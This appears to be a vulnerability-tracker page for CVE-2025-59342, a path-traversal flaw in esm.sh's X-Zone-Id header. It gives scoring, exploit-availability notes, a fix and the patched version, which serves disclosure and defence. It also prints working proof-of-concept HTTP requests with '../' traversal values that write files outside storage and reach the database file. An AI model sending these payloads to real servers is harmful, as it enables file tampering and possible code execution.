CVE-2025-59342Medium▾ TwilightPoC availableesm.sh has arbitrary file write via path traversal in `X-Zone-Id` header
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 27.5 · likelihood 0.6 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 3 sources. Availability, not in-the-wild use.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
Last analysed / modified upstream
3.2%
Exploit-DB · 1 GitHub repo · Nuclei ×1 (last check)
A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).
Severity: Medium
Component / Endpoint:
POST /transform — handling of X-Zone-Id header
The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411
Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.
Request (attacker-supplied X-Zone-Id contains path traversal):
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325
{
"filename": "example2.js",
"lang": "js",
"code": "console.log('hello');",
"importMap": {
"imports": {
"react": "https://esm.sh/react",
"react-dom": "https://esm.sh/react-dom"
}
},
"jsxImportSource": "react",
"target": "es2022",
"sourceMap": "external",
"minify": true
}
Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.
This can be trigger with another path traversal request below
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/
Simply remove any .. in the X-Zone-Id header before actually process the file.
github.com/esm-dev/esm.sh <= 136Upgrade to a patched release:
github.com/esm-dev/esm.sh 136.1Connected by shared product, vendor, weakness, or advisory.
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